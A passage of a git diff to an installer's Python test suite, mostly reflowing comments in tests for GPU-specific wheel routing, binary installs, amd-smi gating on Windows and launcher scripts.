"os.access(X_OK) is always true on Windows, so the guard is POSIX only",)def test_existing_install_requires_executable_server(tmp_path, monkeypatch):- # A marker-matching install with a non-executable server must reinstall:- # the sidecar refuses it via os.access(X_OK), so "already matches" would- # otherwise leave dictation permanently broken.+ # A marker-matching install with a non-executable server must reinstall: the sidecar refuses it via os.access(X_OK),+ # so "already matches" would otherwise leave dictation permanently broken.host = _host("linux", "x64")selection = object()monkeypatch.setattr(M.core, "existing_install_matches", lambda *a: True)@@ -1592,8 +1583,8 @@ def test_existing_install_requires_executable_server(tmp_path, monkeypatch):def test_existing_slim_install_requires_wired_libraries(tmp_path, monkeypatch):- # A slim install whose hardlinked ggml files vanished (llama dir deleted)- # must reinstall so update re-wires instead of reporting up to date.+ # A slim install whose hardlinked ggml files vanished (llama dir deleted) must reinstall so update re-wires instead+ # of reporting up to date.host = _host("linux", "x64")monkeypatch.setattr(M.core, "existing_install_matches", lambda *a: True)server = tmp_path / "build" / "bin" / "whisper-server"@@ -1631,8 +1622,8 @@ def test_existing_slim_install_requires_wired_libraries(tmp_path, monkeypatch):def test_existing_rocm_install_accepts_the_catalogs_the_target_has(tmp_path, monkeypatch, runtime_dirs, current):- # #8364: a gfx1030 install wires rocblas alone and is complete, so "already- # matches" must hold for it, while a marker with no rocblas still reinstalls.+ # #8364: a gfx1030 install wires rocblas alone and is complete, so "already matches" must hold for it, while a+ # marker with no rocblas still reinstalls.host = _host("linux", "x64", has_rocm = True, rocm_gfx = "gfx1030")monkeypatch.setattr(M.core, "existing_install_matches", lambda *a: True)bin_dir = tmp_path / "build" / "bin"@@ -1772,8 +1763,8 @@ def test_slim_install_wires_links_and_marker(tmp_path, monkeypatch):assert marker["install_kind"] == "slim"assert marker["paired_llama_tag"] == SLIM_LLAMA_TAGassert marker["linked_from"] == str(llama_bin)- # The wired filenames land in the marker; the sidecar launch guard- # verifies exactly these names instead of hardcoded per-OS globs.+ # The wired filenames land in the marker; the sidecar launch guard verifies exactly these names instead of hardcoded+ # per-OS globs.assert marker["linked_libraries"] == ["libggml-base.so.0","libggml-cpu-x64.so",@@ -1833,8 +1824,8 @@ def test_slim_rocm_install_pairs_a_runtime_without_a_hipblaslt_catalog(tmp_path,def test_slim_links_survive_a_llama_dir_swap(tmp_path, monkeypatch):- # The whole point of hardlinks: replace the llama dir contents after wiring- # and whisper's links must still hold the OLD inodes/content.+ # The whole point of hardlinks: replace the llama dir contents after wiring and whisper's links must still hold+ # the OLD inodes/content.host = _cuda_host()archive, sha256 = _build_slim_bundle(tmp_path, host)@@ -1862,8 +1853,8 @@ def test_slim_links_survive_a_llama_dir_swap(tmp_path, monkeypatch):assert whisper_lib.stat().st_nlink == 1 # the llama side is gone; ours remains-# The exact resolver key set shipped before slim existed; install_kind is the-# one additive field and must stay the only difference.+# The exact resolver key set shipped before slim existed;+# install_kind is the one additive field and must stay the only difference._LEGACY_RESOLVER_KEYS = {"prebuilt_available","repo",@@ -2055,8 +2046,8 @@ def test_resolver_reports_install_kind_slim_when_paired(tmp_path, monkeypatch, cdef test_resolver_reports_metal_slim_on_macos(tmp_path, monkeypatch, capsys):- # Same contract shape on macs: backend stays the accel (metal), the one- # additive field says the asset installs slim.+ # Same contract shape on macs: backend stays the accel (metal), the one additive field says the asset installs+ # slim.bin_dir = _fake_llama_bin_macos(tmp_path)monkeypatch.setattr(M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "macos-metal-arm64")diff --git a/tests/studio/install/test_installed_family_hermeticity.py b/tests/studio/install/test_installed_family_hermeticity.pyindex 250cc4a26c4..de454ea3b16 100644--- a/tests/studio/install/test_installed_family_hermeticity.py+++ b/tests/studio/install/test_installed_family_hermeticity.py@@ -36,10 +36,7 @@ _STACK_SPEC.loader.exec_module(stack_mod)_MARK = stack_mod._TORCH_PROBE_MARKER-# `rocm` Requires-Dist, torch Requires-Dist, distributions on disk. Two are pip behaviours,-# not hypotheticals: installing a generic wheel over a per-arch one drops rocm[libraries]-# from torch but leaves `rocm` naming the old family, and a family switch upgrades `rocm`-# in place without uninstalling the superseded runtime.+# `rocm` Requires-Dist, torch Requires-Dist, distributions on disk.AMBIENT_STATES: "dict[str, tuple]" = {"bare": (None, ["filelock"], []),"perarch-gfx1151": (diff --git a/tests/studio/install/test_keep_install_backcompat_9979.py b/tests/studio/install/test_keep_install_backcompat_9979.pyindex e2ed4f8942c..de568a80c06 100644--- a/tests/studio/install/test_keep_install_backcompat_9979.py+++ b/tests/studio/install/test_keep_install_backcompat_9979.py@@ -534,6 +534,7 @@ def test_the_stored_backend_choice_reads_the_same_from_every_shape(tmp_path, marassert ILP.persisted_backend_request(install_dir) == expected+# ---------------------------------------------------------------------------ARM64_LINUX = _host(machine = "aarch64", is_x86_64 = False, is_arm64 = True)MACOS_X64 = _host(system = "Darwin",diff --git a/tests/studio/install/test_launch_studio_launcher.py b/tests/studio/install/test_launch_studio_launcher.pyindex fd95f9c923f..2fa4a925866 100644--- a/tests/studio/install/test_launch_studio_launcher.py+++ b/tests/studio/install/test_launch_studio_launcher.py@@ -35,8 +35,8 @@ def test_no_vbs_launcher_generated():def test_legacy_vbs_removed_on_upgrade():- # An upgrade must DELETE a pre-existing launch-studio.vbs, not just stop generating it,- # or AV keeps flagging the stale file.+ # An upgrade must DELETE a pre-existing launch-studio.vbs, not just stop generating it, or AV keeps flagging the+ # stale file.text = _text()assert re.search(r"Remove-Item\s+-LiteralPath\s+\$legacyLauncherVbs", text@@ -60,8 +60,8 @@ def test_launcher_is_windowless_powershell():def test_hidden_window_never_pairs_with_execution_policy_bypass():# The pair AV detections key on; install.rs already refuses it for the app's own launch.- # launch-studio.ps1 is written locally, so it has no mark-of-the-web and RemoteSigned loads- # it. The hidden window costs nothing to keep, the Bypass costs a detection.+ # launch-studio.ps1 is written locally, so it has no mark-of-the-web and RemoteSigned loads it. The hidden+ # window costs nothing to keep, the Bypass costs a detection.text = _text()for line in text.splitlines():if re.search(r"-WindowStyle\s+Hidden", line):diff --git a/tests/studio/install/test_llama_pr_force_and_source.py b/tests/studio/install/test_llama_pr_force_and_source.pyindex 99086d314d3..ea979bf9d93 100644--- a/tests/studio/install/test_llama_pr_force_and_source.py+++ b/tests/studio/install/test_llama_pr_force_and_source.py@@ -8,8 +8,8 @@ from pathlib import Pathimport pytest-# Aliased: this module already has its own `run_pwsh` fragment helper, which now calls the-# shared runner rather than subprocess.run.+# Aliased: this module already has its own `run_pwsh` fragment helper, which now calls the shared runner rather than+# subprocess.run.from unsloth_pwsh_runner import run_pwsh as run_pwsh_retryingPACKAGE_ROOT = Path(__file__).resolve().parents[3]@@ -52,9 +52,8 @@ def run_pwsh(run_env["NO_COLOR"] = "1"if env:run_env.update(env)- # The shared runner, not subprocess.run: the PR_FORCE cases below read stdout for the- # promoted ref and the fixed ggml-org source, and a pwsh killed at startup yields empty- # stdout that looks like setup.ps1 promoting nothing.+ # The shared runner, not subprocess.run: the PR_FORCE cases below read stdout for the promoted ref and the fixed+ # ggml-org source, and a pwsh killed at startup yields empty stdout that looks like setup.ps1 promoting nothing.# See tests/_shared/unsloth_pwsh_runner.py.return run_pwsh_retrying([PWSH, "-NoProfile", "-Command", script],@@ -65,7 +64,6 @@ def run_pwsh()-# Shared bash stubs.BASH_STUBS = textwrap.dedent("""\step() { echo "step:$1:$2"; }substep() { :; }@@ -104,7 +102,6 @@ def make_mock_git(tmp_path: Path, *, fail_on: str = "") -> tuple[Path, Path]:return mock_bin, log_file-# Bash fragment exercising PR_FORCE and fixed _LLAMA_SOURCE resolution.def _bash_resolution_fragment(llama_pr: str = "",llama_pr_force: str = "",@@ -370,8 +367,8 @@ class TestSourcePatternsSh:assert '_LLAMA_SOURCE="${_DEFAULT_LLAMA_SOURCE}"' in self.contentdef test_release_repo_override_removed(self):- # No env-based release-repo override, and CPU-only hosts no longer fall- # back to ggml-org -- every host now routes to the fork.+ # No env-based release-repo override, and CPU-only hosts no longer fall back to ggml-org -- every host now+ # every host now routes to the fork (the CPU-only ggml-org fallback was removed), mirroring setup.sh.assert "UNSLOTH_LLAMA_RELEASE_REPO:-unslothai/llama.cpp" not in self.contentassert '_HELPER_RELEASE_REPO="unslothai/llama.cpp"' in self.contentassert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' not in self.content@@ -436,8 +433,8 @@ class TestSourcePatternsPs1:assert "$LlamaSource = $DefaultLlamaSource" in self.contentdef test_release_repo_override_removed(self):- # No env-based release-repo override; every host now routes to the fork- # (the CPU-only ggml-org fallback was removed), mirroring setup.sh.+ # No env-based release-repo override; every host now routes to the fork (the CPU-only ggml-org fallback was+ # removed), mirroring setup.sh.assert "$HelperReleaseRepo = if ($env:UNSLOTH_LLAMA_RELEASE_REPO)" not in self.contentassert '$HelperReleaseRepo = "unslothai/llama.cpp"' in self.contentassert "$HelperReleaseRepo = if (" not in self.content@@ -528,7 +525,6 @@ class TestPwshPrForcePromotion:default_source,)run_env = {}- # Unset env vars by default.run_env["UNSLOTH_LLAMA_PR"] = ""run_env["UNSLOTH_LLAMA_PR_FORCE"] = ""if env:diff --git a/tests/studio/install/test_macos_version_compat.py b/tests/studio/install/test_macos_version_compat.pyindex ed1e1d05b1b..3963b339fa2 100644--- a/tests/studio/install/test_macos_version_compat.py+++ b/tests/studio/install/test_macos_version_compat.py@@ -185,7 +185,6 @@ class TestPreflightMacosInstalledBinaries:def test_skips_the_minos_comparison_when_host_version_unknown(self, tmp_path):install_dir, binaries = self._install_dir(tmp_path, (26, 0))# No host version to compare against, so the static check cannot run.- # These fixtures are not executable, so the load probe finds nothing either.ILP.preflight_macos_installed_binaries(binaries, install_dir, make_macos_host(None))def test_noop_on_non_macos_host(self, tmp_path):@@ -224,8 +223,8 @@ class TestMacosDyldLoadProbe:bin_dir = tmp_path / "build" / "bin"bin_dir.mkdir(parents = True)# A real spawnable file, not a Mach-O sample: the point is to reach dyld.- # macho_minimum_macos returns None for a non-Mach-O, so the minos gate- # ahead of the probe stays quiet and the probe is what decides.+ # macho_minimum_macos returns None for a non-Mach-O, so the minos gate ahead of the probe stays quiet and the+ # probe is what decides.server = bin_dir / "llama-server"server.write_text(f'#!/bin/sh\necho "{message}" >&2\nexit {exit_code}\n')server.chmod(0o755)@@ -394,7 +393,6 @@ class TestMacosReleasePin:def _patch_releases(self, monkeypatch):def fake_iter(repo, published_release_tag, requested_tag):- # Real iterator yields only the requested tag when one is pinned.if requested_tag and requested_tag != "latest":return _fake_macos_releases([requested_tag])return _fake_macos_releases(self.TAGS)diff --git a/tests/studio/install/test_managed_node_runtime.py b/tests/studio/install/test_managed_node_runtime.pyindex 251cb0ffcd9..e74e072c78d 100644--- a/tests/studio/install/test_managed_node_runtime.py+++ b/tests/studio/install/test_managed_node_runtime.py@@ -19,8 +19,8 @@ from pathlib import Pathimport pytest-# node_runtime imports sibling backend packages by top-level name, so put-# studio/backend on sys.path before importing it.+# node_runtime imports sibling backend packages by top-level name, so put studio/backend on sys.path before importing+# it._BACKEND = Path(__file__).resolve().parents[3] / "studio" / "backend"if str(_BACKEND) not in sys.path:sys.path.insert(0, str(_BACKEND))@@ -75,8 +75,8 @@ def _raise_oserror():def test_managed_dir_fallback_honors_override(monkeypatch, tmp_path):- # If utils.paths cannot be loaded / studio_root() fails, the resolver must- # still honor an explicit STUDIO_HOME override (not silently use legacy).+ # If utils.paths cannot be loaded / studio_root() fails, the resolver must still honor an explicit STUDIO_HOME+ # override (not silently use legacy).import utils.paths.storage_roots as srmonkeypatch.setattr(sr, "studio_root", _raise_oserror)@@ -106,8 +106,8 @@ def test_managed_dir_unsloth_studio_home_wins_over_alias(monkeypatch, tmp_path):def test_managed_dir_legacy_valued_override_uses_sibling(monkeypatch):- # An override set explicitly to the legacy default maps to the sibling- # ~/.unsloth/node (matching setup.sh / setup.ps1), not ~/.unsloth/studio/node.+ # An override set explicitly to the legacy default maps to the sibling ~/.unsloth/node (matching setup.sh /+ # setup.ps1), not ~/.unsloth/studio/node.legacy = Path.home() / ".unsloth" / "studio"monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(legacy))assert nr.managed_node_dir() == Path.home() / ".unsloth" / "node"diff --git a/tests/studio/install/test_missing_kernel_arch_routing_9396.py b/tests/studio/install/test_missing_kernel_arch_routing_9396.pyindex 0572c6cbffc..670e67be9d2 100644--- a/tests/studio/install/test_missing_kernel_arch_routing_9396.py+++ b/tests/studio/install/test_missing_kernel_arch_routing_9396.py@@ -31,13 +31,12 @@ sys.modules[_STACK_SPEC.name] = stack_mod_STACK_SPEC.loader.exec_module(stack_mod)_CPU_TORCH = stack_mod._TORCH_PROBE_MARKER + "2.10.0+cpu||\n"-# Generic pytorch.org ROCm torch: links HIP, so has_hip_torch is True and every-# "already installed" gate sees a ROCm build -- the state the repair must still fix.+# Generic pytorch.org ROCm torch: links HIP, so has_hip_torch is True and every "already installed" gate sees a ROCm+# build -- the state the repair must still fix._ROCM_GENERIC_TORCH = stack_mod._TORCH_PROBE_MARKER + "2.10.0+rocm7.1|7.1|\n"# AMD per-arch torch, as repo.amd.com serves it._ROCM_ARCH_TORCH = stack_mod._TORCH_PROBE_MARKER + "2.11.0+rocm7.13.0|7.13|\n"-# Generic wheels whose own rocm tag disagrees with the host: pinned once, or outlived by an-# /opt/rocm upgrade.+# Generic wheels whose own rocm tag disagrees with the host: pinned once, or outlived by an /opt/rocm upgrade._ROCM_GENERIC_TORCH_63 = stack_mod._TORCH_PROBE_MARKER + "2.9.1+rocm6.3|6.3|\n"_ROCM_GENERIC_TORCH_72 = stack_mod._TORCH_PROBE_MARKER + "2.11.0+rocm7.2|7.2|\n"@@ -67,8 +66,8 @@ def _run_install(unmasked_gfx_devices = None,):"""Drive _ensure_rocm_torch() over a host with ``gfx_devices`` and return the pip calls."""- # The torch probe is cached per process and the autouse fixture clears it once per TEST,- # so a case driving two hosts in a row would judge the second by the first's torch.+ # The torch probe is cached per process and the autouse fixture clears it once per TEST, so a case driving two hosts+ # in a row would judge the second by the first's torch.stack_mod._invalidate_torch_runtime_probe()probe = MagicMock()probe.returncode = 0@@ -82,17 +81,16 @@ def _run_install(ignore_visible_masks = False,):probes.append(dedup)- # rocminfo runs on the ROCr stack, so its answer is already mask-filtered; only a- # re-probe that strips the masks sees the whole machine. A caller that sets- # unmasked_gfx_devices is modelling exactly that gap.+ # rocminfo runs on the ROCr stack, so its answer is already mask-filtered; only a re-probe that strips the+ # masks sees the whole machine. A caller that sets unmasked_gfx_devices is modelling exactly that gap.codes = list(unmasked_gfx_devicesif (ignore_visible_masks and unmasked_gfx_devices is not None)else gfx_devices)- # Callers read the recorded probe to decide whether the list is ROCr-filtered and in- # HIP order. This one hands back device order, which is KFD sysfs; leaving the global- # as the previous test left it makes those decisions test-order dependent.+ # Callers read the recorded probe to decide whether the list is ROCr-filtered and in HIP order. This one+ # hands back device order, which is KFD sysfs; leaving the global as the previous test left it makes those+ # decisions test-order dependent.stack_mod._LAST_AMD_GFX_PROBE = probe_source if codes else Nonereturn list(dict.fromkeys(codes)) if dedup else codes@@ -137,9 +135,6 @@ def _run_install(return str(pip.call_args_list) + str(pip_try.call_args_list)-# ── the reported host, and its two siblings ──────────────────────────────────--@pytest.mark.parametrize("gfx, leaf",[@@ -152,8 +147,8 @@ def test_an_arch_with_no_generic_kernels_routes_to_the_amd_index(gfx, leaf):calls = _run_install(gfx_devices = (gfx,))assert f"{_AMD}/{leaf}/" in calls, callsassert _GENERIC not in calls, calls- # The carrier is shared with the Strix reroute, so the label has to name the leaf- # actually installed; a 780M laptop reading "Strix" is the installer lying to it.+ # The carrier is shared with the Strix reroute, so the label has to name the leaf actually installed; a 780M laptop+ # reading "Strix" is the installer lying to it.assert f"AMD per-gfx index, {leaf.lower()}" in calls, calls@@ -271,9 +266,8 @@ def test_a_mixed_host_whose_runtime_target_is_supported_keeps_the_generic_index(# ── the probe the routing decision indexes into ──────────────────────────────-# Measured on an AMD DevLab strix-halo host (amd-smi 26.2.2): `list` carries no gfx-# token at all, only `static --asic` does, and both head every device with a-# line-leading "GPU: N" while naming no agent.+# Measured on an AMD DevLab strix-halo host (amd-smi 26.2.2): `list` carries no gfx token at all, only+# `static --asic` does, and both head every device with a line-leading "GPU: N" while naming no agent._AMD_SMI_LIST = "GPU: 0\n BDF: 0000:03:00.0\n KFD_ID: 40251\n NODE_ID: 1\n"@@ -490,8 +484,8 @@ def test_torch_already_on_the_right_per_arch_wheels_is_not_reinstalled():)assert _AMD not in calls, callsassert _GENERIC not in calls, calls- # Skipping the torch install must still leave rocm_torch_ready set, or the AMD- # bitsandbytes repair every `studio update` exists for stops running too.+ # Skipping the torch install must still leave rocm_torch_ready set, or the AMD bitsandbytes repair every `studio+ # update` exists for stops running too.assert "bitsandbytes" in calls, calls@@ -565,7 +559,6 @@ def test_a_mixed_kernel_reading_never_clears_the_override():# ── what the banners are allowed to print ────────────────────────────────────-_SECRET_MIRROR = "https://user:[email protected]/whl"@@ -691,8 +684,8 @@ def test_a_generic_torch_beside_a_stale_rocm_meta_package_is_still_repaired():assert f"{_AMD}/gfx110X-all/" in calls, calls-# Verbatim `metadata.requires("torch")` for both builds, read on an AMD DevLab host-# after installing generic rocm7.1 torch over an AMD gfx110X-all one.+# Verbatim `metadata.requires("torch")` for both builds, read on an AMD DevLab host after installing generic rocm7.1+# torch over an AMD gfx110X-all one._AMD_TORCH_REQUIRES = ["filelock","typing-extensions>=4.10.0",@@ -848,9 +841,6 @@ def test_a_stale_family_is_repaired_when_no_generic_tag_resolves():assert f"{_AMD}/gfx120X-all/" in calls, calls-# ── the routes a second, independent reading has to survive ───────────────────--@pytest.mark.parametrize("probe", [(), ("gfx1103",)])def test_an_unreadable_rocm_version_still_routes_a_missing_kernel_arch(probe):"""A bundled-runtime host has no /opt/rocm version to read, and the missing-kernel@@ -1043,9 +1033,9 @@ def test_amd_smi_discovery_order_is_not_indexed_as_hip_order():assert _target(["gfx1103", "gfx1200"], "kfd", {"HIP_VISIBLE_DEVICES": "1"}) == "gfx1200"# Nothing to mistranslate: like adapters give the same arch at every ordinal.assert _target(["gfx1200", "gfx1200"], "amd-smi", {"HIP_VISIBLE_DEVICES": "1"}) == "gfx1200"- # An unset mask is not safety: the runtime still opens HIP ordinal 0, and discovery-order- # 0 can be the other card. setup.sh declines unlike adapters with no HIP map whether or- # not a mask is set, and this has to read the host the same way.+ # An unset mask is not safety: the runtime still opens HIP ordinal 0, and discovery-order 0 can be the other card.+ # setup.sh declines unlike adapters with no HIP map whether or not a mask is set, and this has to read the host the+ # same way.assert _target(["gfx1103", "gfx1200"], "amd-smi", {}) is None@@ -1062,8 +1052,8 @@ def test_kfd_order_resolves_a_mask_amd_smi_order_cannot():)== "gfx1103")- # A KFD list of another length is a different view of the machine, not a translation of- # this one, so the ordinal still has nothing trustworthy to index.+ # A KFD list of another length is a different view of the machine, not a translation of this one, so the ordinal+ # still has nothing trustworthy to index.assert (_target(["gfx1200", "gfx1103"],@@ -1251,8 +1241,8 @@ def test_strix_on_an_old_generic_wheel_is_rerouted_without_a_host_version(gfx):torch_owns_rocm = False,)assert f"{_AMD}/{gfx}/" in calls, calls- # Only the build the reroute would fetch is left alone: a generic rocm7.2 wheel does- # carry these arches, but Strix wants AMD's 7.13 fixes over any index below the floor.+ # Only the build the reroute would fetch is left alone: a generic rocm7.2 wheel does carry these arches, but Strix+ # wants AMD's 7.13 fixes over any index below the floor.assert _AMD not in _run_install(gfx_devices = (gfx,),rocm_version = None,@@ -1450,8 +1440,8 @@ def test_a_mask_that_selects_no_gpu_takes_no_gfx906_reroute_either(mask, value):# A mask naming a device is untouched: the legacy route and the bnb skip both still fire._named = _run_install(gfx_devices = ("gfx906",), rocm_version = (7, 2), env = {mask: "0"})assert f"{_GENERIC}6.3" in _named, _named- # The mask sits above UNSLOTH_ROCM_GFX_ARCH here too, as it does in _runtime_gfx_target:- # hiding every GPU is a statement about this run, and the arch is read below it.+ # The mask sits above UNSLOTH_ROCM_GFX_ARCH here too, as it does in _runtime_gfx_target: hiding every GPU is a+ # statement about this run, and the arch is read below it._pinned = _run_install(gfx_devices = (),rocm_version = (7, 2),@@ -1517,8 +1507,8 @@ def test_a_repin_between_per_arch_leaves_is_applied():env = {"UNSLOTH_TORCH_INDEX_URL": f"https://{_AMD}/gfx120X-all/"},)assert f"{_AMD}/gfx120X-all" in calls, calls- # A pin naming the family already installed is still not a reinstall: this runs on every- # update and the stack is multi-GB.+ # A pin naming the family already installed is still not a reinstall: this runs on every update and the stack is+ # multi-GB.assert _AMD not in _run_install(gfx_devices = ("gfx1200",),rocm_version = (7, 2),@@ -1639,9 +1629,9 @@ def test_a_rocr_masked_mi50_beside_a_dgpu_keeps_the_generic_wheels():assert f"{_GENERIC}7.2" in calls, calls# The dGPU's bitsandbytes is part of what the downgrade cost.assert "bitsandbytes" in calls, calls- # A machine that really is gfx906 alone still takes the legacy tag under the same mask,- # including a mask whose ordinal names no device: the sole-arch question is about the- # machine, and the answer decides which wheels carry kernels for the card that is there.+ # A machine that really is gfx906 alone still takes the legacy tag under the same mask, including a mask whose+ # ordinal names no device: the sole-arch question is about the machine, and the answer decides which wheels carry+ # kernels for the card that is there.for _ordinal in ("0", "1"):_sole = _run_install(gfx_devices = ("gfx906",),diff --git a/tests/studio/install/test_package_discovery.py b/tests/studio/install/test_package_discovery.pyindex f0acedb5774..7fe328c46bb 100644--- a/tests/studio/install/test_package_discovery.py+++ b/tests/studio/install/test_package_discovery.py@@ -105,8 +105,8 @@ def test_generated_compiled_caches_are_excluded():def test_backend_test_suites_stay_out_of_the_wheel():- # Dropping them from packages.find is not enough on its own: with- # include-package-data they return as package data of studio.backend.+ # Dropping them from packages.find is not enough on its own: with include-package-data they return as package data+ # of studio.backend.leaked = [pathfor path in _wheel_payload()diff --git a/tests/studio/install/test_pr4562_bugfixes.py b/tests/studio/install/test_pr4562_bugfixes.pyindex 4e555d76c67..39e7c5184b0 100644--- a/tests/studio/install/test_pr4562_bugfixes.py+++ b/tests/studio/install/test_pr4562_bugfixes.py@@ -141,7 +141,6 @@ class TestBinaryEnvCrossPlatform:binary_path = bin_dir / "llama-server"binary_path.write_bytes(b"fake")- # Real dirs so dedupe_existing_dirs keeps them.custom_lib = tmp_path / "custom_lib"other_lib = tmp_path / "other_lib"custom_lib.mkdir()@@ -374,7 +373,6 @@ class TestSetupShLogic:(mock_bin / "git").write_text("#!/bin/bash\nexit 0\n")(mock_bin / "git").chmod(0o755)- # PATH: mock_bin first, then system dirs without cmake.safe_dirs = [str(mock_bin)]for d in os.environ.get("PATH", "").split(":"):if d and not os.path.isfile(os.path.join(d, "cmake")):@@ -408,7 +406,6 @@ class TestSetupShLogic:(mock_bin / "cmake").write_text("#!/bin/bash\nexit 0\n")(mock_bin / "cmake").chmod(0o755)- # PATH: mock_bin first, then system dirs without git.safe_dirs = [str(mock_bin)]for d in os.environ.get("PATH", "").split(":"):if d and not os.path.isfile(os.path.join(d, "git")):@@ -635,7 +632,7 @@ class TestSourceCodePatterns:assert ('_CLONE_ARGS+=(--branch "$_RESOLVED_SOURCE_REF")' in content), "_CLONE_ARGS should be extended with --branch $_RESOLVED_SOURCE_REF"- # --branch only when tag is not "latest".+ # branch only when tag is not "latest".assert ('_RESOLVED_SOURCE_REF" != "latest"' in content), "Should guard against literal 'latest' tag"@@ -734,9 +731,9 @@ class TestSourceCodePatterns:assert all("-allow-unsupported-compiler" not in line for line in cmake_args_lines), "flag must not be pushed into the $CmakeArgs array"- # Must be scoped to the CUDA-on branch, not set for CPU-only builds. The- # branch also has an early GGML_CUDA=OFF (undetectable-arch CPU fallback,- # #5854), so anchor on GGML_CUDA=ON and the final (no-GPU) GGML_CUDA=OFF.+ # Must be scoped to the CUDA-on branch, not set for CPU-only builds. The branch also has an early+ # GGML_CUDA=OFF (undetectable-arch CPU fallback, #5854), so anchor on GGML_CUDA=ON and the final (no-GPU)+ # GGML_CUDA=OFF.flag_idx = content.index("-allow-unsupported-compiler")cuda_guard_idx = content.index("if ($HasNvidiaSmi -and $NvccPath)")cuda_on_idx = content.index("'-DGGML_CUDA=ON'")diff --git a/tests/studio/install/test_pr5940_followups.py b/tests/studio/install/test_pr5940_followups.pyindex 976dabe9df4..b36cdfefd76 100644--- a/tests/studio/install/test_pr5940_followups.py+++ b/tests/studio/install/test_pr5940_followups.py@@ -218,8 +218,6 @@ def test_setup_sh_name_arch_table_in_sync_with_install_sh():# ── amd-smi gating (DiskPart UAC-prompt avoidance) ───────────────────────────# On Windows w/o a HIP SDK, amd-smi pops a UAC/DiskPart prompt RunAsInvoker# can't suppress, so _amd_smi_allowed() skips it unless HIP-SDK or opt-in.--def _amd_smi_allowed_under(system, hipinfo_present, env):# Build a real (temp) PATH so _external_hipinfo_on_path scans it like prod;# an external hipinfo.exe outside the pinned venv models a real HIP SDK.@@ -272,9 +270,8 @@ def test_amd_smi_opt_out_overrides_hip_sdk():def test_amd_smi_skipped_when_hipinfo_is_venv_internal(tmp_path):- # The venv hipInfo.exe (AMD wheel via the bnb fix) is NOT a HIP SDK and must- # not re-open the gate -- else amd-smi pops the DiskPart UAC mid-install on- # Strix Halo with no real HIP SDK (the snapcast3r/UBER6 bug).+ # The venv hipInfo.exe (AMD wheel via the bnb fix) is NOT a HIP SDK and must not re-open the gate --+ # else amd-smi pops the DiskPart UAC mid-install on Strix Halo with no real HIP SDK (the snapcast3r/UBER6 bug).venv_root = tmp_path / "venv"venv_scripts = venv_root / "Scripts"venv_scripts.mkdir(parents = True)@@ -288,8 +285,8 @@ def test_amd_smi_skipped_when_hipinfo_is_venv_internal(tmp_path):def test_amd_smi_allowed_when_hipinfo_outside_venv(tmp_path):- # A hipinfo from a real HIP SDK (outside the venv) still opens the gate, so- # HIP-SDK Windows users keep amd-smi (no regression for the venv-exclusion).+ # A hipinfo from a real HIP SDK (outside the venv) still opens the gate, so HIP-SDK Windows users keep amd-smi+ # (no regression for the venv-exclusion).sdk_bin = tmp_path / "hipsdk" / "bin"sdk_bin.mkdir(parents = True)(sdk_bin / "hipinfo.exe").write_text("")@@ -302,9 +299,8 @@ def test_amd_smi_allowed_when_hipinfo_outside_venv(tmp_path):def test_amd_smi_allowed_when_external_hipinfo_shadowed_by_venv(tmp_path):- # Venv hipInfo first on PATH (bnb fix), real SDK's later, HIP_PATH/ROCM_PATH- # unset. A first-hit which/Get-Command stops at the venv copy and wrongly- # closes the gate; scanning every PATH entry must still find the external SDK.+ # Venv hipInfo first on PATH (bnb fix), real SDK's later, HIP_PATH/ROCM_PATH unset. A first-hit which/Get-Command+ # stops at the venv copy and wrongly closes the gate; scanning every PATH entry must still find the external SDK.venv_root = tmp_path / "venv"venv_scripts = venv_root / "Scripts"venv_scripts.mkdir(parents = True)@@ -337,8 +333,8 @@ def test_amd_smi_skipped_when_env_root_hipinfo_is_venv_internal(tmp_path):def test_amd_smi_allowed_when_env_root_hipinfo_outside_venv(tmp_path):- # A real HIP SDK pointed to by HIP_PATH (outside the venv) still opens the- # gate, so the env-root venv filter does not regress HIP-SDK Windows users.+ # A real HIP SDK pointed to by HIP_PATH (outside the venv) still opens the gate, so the env-root venv filter does+ # not regress HIP-SDK Windows users.hip_root = tmp_path / "hipsdk"(hip_root / "bin").mkdir(parents = True)(hip_root / "bin" / "hipinfo.exe").write_text("")@@ -365,9 +361,8 @@ def test_external_hipinfo_on_path_skips_venv_only(tmp_path):def test_python_hipinfo_gates_scan_all_path_entries():- # All three copies of the amd-smi HIP-SDK probe must scan every PATH entry- # (not just the first shutil.which hit) so the venv-internal hipInfo cannot- # shadow a real SDK's hipinfo later on PATH.+ # All three copies of the amd-smi HIP-SDK probe must scan every PATH entry (not just the first shutil.which hit) so+ # the venv-internal hipInfo cannot shadow a real SDK's hipinfo later on PATH.for src in (_PREBUILT_PATH, _AMD_PY, _PYSTACK_PY):text = src.read_text(encoding = "utf-8")assert (@@ -376,9 +371,8 @@ def test_python_hipinfo_gates_scan_all_path_entries():def test_path_inside_venv_resolves_symlinks(tmp_path):- # realpath (not abspath): a venv reached through a symlink/junction must- # still count as inside, else its hipInfo escapes the filter and amd-smi- # pops the DiskPart UAC. abspath would leave the alias unresolved here.+ # realpath (not abspath): a venv reached through a symlink/junction must still count as inside, else its hipInfo+ # escapes the filter and amd-smi pops the DiskPart UAC. abspath would leave the alias unresolved here.real = tmp_path / "real"(real / "Scripts").mkdir(parents = True)(real / "Scripts" / "hipInfo.exe").write_text("")@@ -397,31 +391,31 @@ def test_ps_installers_gate_amd_smi_on_windows():text = ps.read_text(encoding = "utf-8")assert "UNSLOTH_ENABLE_AMD_SMI" in text, f"{ps.name} missing amd-smi opt-in gate"assert "amdSmiAllowed" in text, f"{ps.name} missing amd-smi gate variable"- # The HIP-SDK probe must exclude the venv-internal hipInfo.exe (mirrors- # _path_inside_venv()), else amd-smi can still pop the DiskPart UAC.+ # The HIP-SDK probe must exclude the venv-internal hipInfo.exe (mirrors _path_inside_venv()), else amd-smi+ # can still pop the DiskPart UAC.assert ("Test-HipinfoIsVenvInternal" in text), f"{ps.name} missing venv-internal hipinfo exclusion helper"- # Get-Command returns only the first hipinfo; scan -All and skip the venv- # copy so a real SDK hipinfo later on PATH is not shadowed (codex P2).+ # Get-Command returns only the first hipinfo; scan -All and skip the venv copy so a real SDK hipinfo later+ # on PATH is not shadowed (codex P2).assert ("Get-Command hipinfo -CommandType Application -All" in text), f"{ps.name} must enumerate all hipinfo executables on PATH (-CommandType Application -All)"assert ("Test-HipinfoIsVenvInternal $_.Source" in text), f"{ps.name} must run the venv exclusion while scanning hipinfo candidates"- # The HIP_PATH/ROCM_PATH candidate must also be venv-filtered, else an env- # var pointing into the venv reopens the gate.+ # The 